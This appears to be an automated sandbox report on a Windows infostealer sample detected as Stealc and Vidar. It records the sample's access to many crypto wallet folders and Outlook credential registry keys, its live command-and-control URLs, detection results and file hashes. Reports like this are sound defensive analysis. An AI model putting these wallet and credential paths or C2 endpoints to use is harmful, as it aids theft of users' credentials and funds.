Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7008, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1703301988.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7008, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7008, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	212 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	52%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de1	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dll#C	22%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpw	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dllS	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllS	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de1	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	EBGIDGCAFCBKECAAKJJK.0.dr	false		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpw	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll#C	file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	true	22%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3Ob	file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllo	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1916385439.000000001D60B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1924146394.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllW	file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpf6	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpntime	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	false		unknown
http://185.215.113.37y	file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1769262755.000000001D50C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php0	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1921206306.0000000029542000.00000004.00000020.00020000.00000000.sdmp, EBGIDGCAFCBKECAAKJJK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpnomi	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	GIJJKKJJDAAAAAKFHJJDGDAFBA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpwO	file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll_so	file.exe, 00000000.00000002.1904101313.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1777251305.000000000116C000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpoO	file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll-	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpba	file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532430
Start date and time:	2024-10-13 06:53:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 78 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	C5u5BZq8gj.exe	Get hash	malicious	Vidar	Browse
	hD2EOjfpfW.exe	Get hash	malicious	Vidar	Browse
	AVSicb6epR.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Eae0KTw4m1.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DBKFIDAAEHIEGCBFIDBFHCGDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGIDGCAFCBKECAAKJJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
